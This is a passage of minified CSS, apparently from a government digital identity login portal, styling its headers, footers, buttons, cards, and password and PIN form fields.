.digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] [role='button'],footer[role='contentinfo'] [type='submit'],footer[role='contentinfo'] [type='reset'],footer[role='contentinfo'] [type='button']{background-color:transparent;color:#333;border-color:#333;text-align:center}footer[role='contentinfo'] button:before,footer[role='contentinfo'] .button:before,footer[role='contentinfo'] [role='button']:before,footer[role='contentinfo'] [type='submit']:before,footer[role='contentinfo'] [type='reset']:before,footer[role='contentinfo'] [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}footer[role='contentinfo'] button:hover,footer[role='contentinfo'] button:focus,footer[role='contentinfo'] .button:hover,footer[role='contentinfo'] .button:focus,footer[role='contentinfo'] [role='button']:hover,footer[role='contentinfo'] [role='button']:focus,footer[role='contentinfo'] [type='submit']:hover,footer[role='contentinfo'] [type='submit']:focus,footer[role='contentinfo'] [type='reset']:hover,footer[role='contentinfo'] [type='reset']:focus,footer[role='contentinfo'] [type='button']:hover,footer[role='contentinfo'] [type='button']:focus{background-color:#333;color:#fff}footer[role='contentinfo'] button:active,footer[role='contentinfo'] .button:active,footer[role='contentinfo'] [role='button']:active,footer[role='contentinfo'] [type='submit']:active,footer[role='contentinfo'] [type='reset']:active,footer[role='contentinfo'] [type='button']:active{background-color:#222}.button-back{display:inline-block;position:relative;margin-left:1em;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-back:before{content:'';position:absolute;top:-6px;right:2.7em;display:block;width:1.2em;height:2em;background-repeat:no-repeat;background-position:right .4em;background-size:1.125em auto;background-image:url("../icons/chevron-left.svg")}.button-back:hover,.button-back:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-close{display:inline-block;position:relative;margin-left:0;color:#0f6493;text-decoration:none;margin-top:1.5em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.button-close:hover,.button-close:active{color:#fff;background-color:#0f6493;text-decoration:none}.button-back-home:before{right:6.7em}.expand,.dismiss{background-color:transparent;background-position:center center;background-repeat:no-repeat;border:0;right:0;position:absolute;top:0;width:auto}.expand{background-image:url("../icons/error-down.svg")}.dismiss{background-image:url("../icons/dismiss-x.svg")}.help-info-button{all:initial;font-family:inherit;display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;font-size:inherit;line-height:inherit}.help-info-button::after{content:'';position:absolute;right:-32px;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;-webkit-transform:rotate(90deg);transform:rotate(90deg);background-image:url("../icons/link-arrow.svg");top:0}.help-info-button[aria-expanded="true"]::after{background-image:url("../icons/link-arrow.svg");right:-29px;top:10px;-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.help-info-button:hover{color:#fff;background-color:#0f6493;text-decoration:none}.card-grid .card-tile{width:100%}@media screen and (min-width:576px){.card-grid{-webkit-align-content:stretch;-ms-flex-line-pack:stretch;align-content:stretch;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-flow:row wrap;-ms-flex-flow:row wrap;flex-flow:row wrap;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.card-grid .card-tile{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start;-webkit-box-flex:0;-webkit-flex:0 1 49%;-ms-flex:0 1 49%;flex:0 1 49%;margin-right:2%}.card-grid .card-tile:nth-child(2n){margin-right:0;border-right:0}}@media screen and (min-width:992px){.card-grid .card-tile{-webkit-box-flex:0;-webkit-flex:0 1 32%;-ms-flex:0 1 32%;flex:0 1 32%}.card-grid .card-tile:nth-child(2n){margin-right:2%}.card-grid .card-tile:nth-child(3n){margin-right:0;border-right:0}}.card{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:16px;padding:1rem;position:relative;text-align:center;text-decoration:none}.card:hover,.card:active{background-color:#fff;color:#333}.card:active{border-color:#ccc}.card img{color:#333;height:60px;width:90%}.card__title{background-color:#eee;bottom:0;display:block;left:0;padding:8px 4px 8px 4px;position:absolute;width:100%;font-size:16px;border-top:1px solid #ccc;height:60px}.card__title span{position:relative;top:50%;display:block;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.card:hover .card__title,.card:active .card__title{text-decoration:underline}.card:active .card__title{background-color:#ccc}.card--link{background-color:#eee;background-image:url("../icons/link-service.svg");background-position:center 25%;background-repeat:no-repeat;border-color:#026540;color:#fff}.card--link .card__title{background-color:#026540}.card--link:hover,.card--link:active{background-color:#eee;color:#fff}.card--link:active{border-color:#027e50}.card--link:active .card__title{background-color:#027e50}.card--quicklinks{border:1px solid #999;color:#333;display:block;height:155px;margin-bottom:1em;padding:.5em;position:relative;text-align:left;text-decoration:none;width:100%}@media screen and (min-width:992px){.card--quicklinks{width:32%}}.card--quicklinks h3,.card--quicklinks #poro-form #modal-title,#poro-form .card--quicklinks #modal-title,.card--quicklinks .poro-form #modal-title,.poro-form .card--quicklinks #modal-title{margin:0}.card--quicklinks .info{display:block}@media screen and (min-width:576px){.card--quicklinks .info{margin-bottom:1em}}@media screen and (min-width:576px){.card--quicklinks .notlinked{display:block}}.card--quicklinks .linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px 